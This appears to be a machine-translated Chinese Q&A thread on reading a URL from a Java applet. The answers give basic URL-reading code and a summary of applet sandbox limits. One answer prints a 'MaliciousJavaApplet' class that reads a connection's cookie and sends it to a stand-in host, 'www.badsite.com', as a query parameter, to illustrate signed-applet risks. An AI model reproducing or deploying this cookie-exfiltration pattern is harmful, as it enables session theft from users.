使用URL类使用java小程序创建到internet的简单连接
我想创建一个简单的URL连接,例如,从我的预定义主机(在我的例子中是localhost/applet)读取内容,你能告诉我怎么做吗?我一直在谷歌上搜索,但到目前为止没有任何明显的成功使用URL类使用java小程序创建到internet的简单连接,java,url,applet,Java,Url,Applet,我想创建一个简单的URL连接,例如,从我的预定义主机(在我的例子中是localhost/applet)读取内容,你能告诉我怎么做吗?我一直在谷歌上搜索,但到目前为止没有任何明显的成功 该文件的内容是一些文本一些文本,然后应在小程序中打印。您可以使用URL类执行此操作: URL url; InputStream is = null; DataInputStream dis; String line; url = new URL([put a string with the local host a
该文件的内容是一些文本一些文本,然后应在小程序中打印。您可以使用URL类执行此操作:
URL url;
InputStream is = null;
DataInputStream dis;
String line;
url = new URL([put a string with the local host address here. Usual is something like 127.0.0.1]); // can also just put a website to test it.
is = url.openStream(); // throws an IOException
dis = new DataInputStream(new BufferedInputStream(is));
while ((line = dis.readLine()) != null) {
System.out.println(line); //will get each line from the text file and print it. could also put it in a variable.
}
你的问题有点让人困惑,所以如果我没有回答,请告诉我。您所说的localhost/applet
是什么意思?它是java小程序吗?或者它只是一个文本文件名小程序??文本文件在哪里?未签名的小程序
未签名的小程序可以执行以下操作:
它们可以与来自的主机建立网络连接。
它们可以使用java.applet.AppletContext类的showDocument方法轻松显示HTML文档。
它们可以调用同一页面上其他小程序的公共方法。
从本地文件系统(从用户类路径中的目录)加载的小程序没有通过网络加载的小程序所具有的限制。
它们可以读取安全的系统属性。有关安全系统属性的列表,请参见系统属性。
使用JNLP启动时,未签名的小程序还可以执行以下操作:
他们可以在客户端上打开、读取和保存文件。
他们可以访问共享的系统范围剪贴板。
他们可以访问打印功能。
他们可以在客户端上存储数据,决定如何下载和缓存小程序,等等。有关使用JNLPAPI开发小程序的更多信息,请参阅JNLPAPI。
未签名的小程序无法执行以下操作:
他们无法访问客户端资源,如本地文件系统、可执行文件、系统剪贴板和打印机。
他们无法连接到任何第三方服务器(源服务器以外的任何服务器)或从中检索资源。
它们无法加载本机库。
他们无法更改SecurityManager。
他们不能创建类加载器。
它们无法读取某些系统属性。有关禁止的系统属性列表,请参见系统属性。
签名小程序
签名小程序没有对未签名小程序施加的安全限制,可以在安全沙箱之外运行
import java.awt.*;
import java.io.*;
import java.net.*;
public class MaliciousJavaApplet extends java.applet.Applet {
TextArea messageLog = new TextArea(4, 40);
public void init() {
setLayout(new BorderLayout());
add("Center", messageLog);
}
public void start() {
try {
URL url = new URL("http://www.targetsite.net/default.html");
URLConnection connection;
String inputLine;
BufferedReader inReader;
connection = url.openConnection();
connection.setAllowUserInteraction(false);
connection.setDoOutput(true);
messageLog.append("Request Property
"+connection.getRequestProperty("cookie")+"\n");
messageLog.append("File read from URL " + url + ":\n");
inReader = new BufferedReader(
new InputStreamReader(connection.getInputStream()));
while (null != (inputLine = inReader.readLine())) {
messageLog.append(inputLine + "\n");
}
inReader.close();
messageLog.append("Request Property
"+connection.getRequestProperty("cookie")+"\n");
String cookie;
cookie = connection.getRequestProperty("cookie");
URL url2 = new
URL("http://www.badsite.com/default.html?cookie="+cookie);
URLConnection connection2;
String inputLine2;
BufferedReader inReader2;
connection2 = url2.openConnection();
connection2.setAllowUserInteraction(false);
connection2.setDoOutput(true);
inReader2 = new BufferedReader(
new InputStreamReader(connection2.getInputStream()));
while (null != (inputLine2 = inReader2.readLine())) {
messageLog.append(inputLine2 + "\n");
}
inReader2.close();
}
catch (IOException e) {
System.err.println("Exception: " + e);
}
}
}
这里没有人(值得倾听)会一步一步地指导你如何去做这一切。不是说你应该接受我的建议,而是你知道,当有人真的回答了你的问题时,你就点击了他们问题旁边的复选框。再说一次,我的回答不一定正确,但是这个网站上的很多新用户都忘了这么做。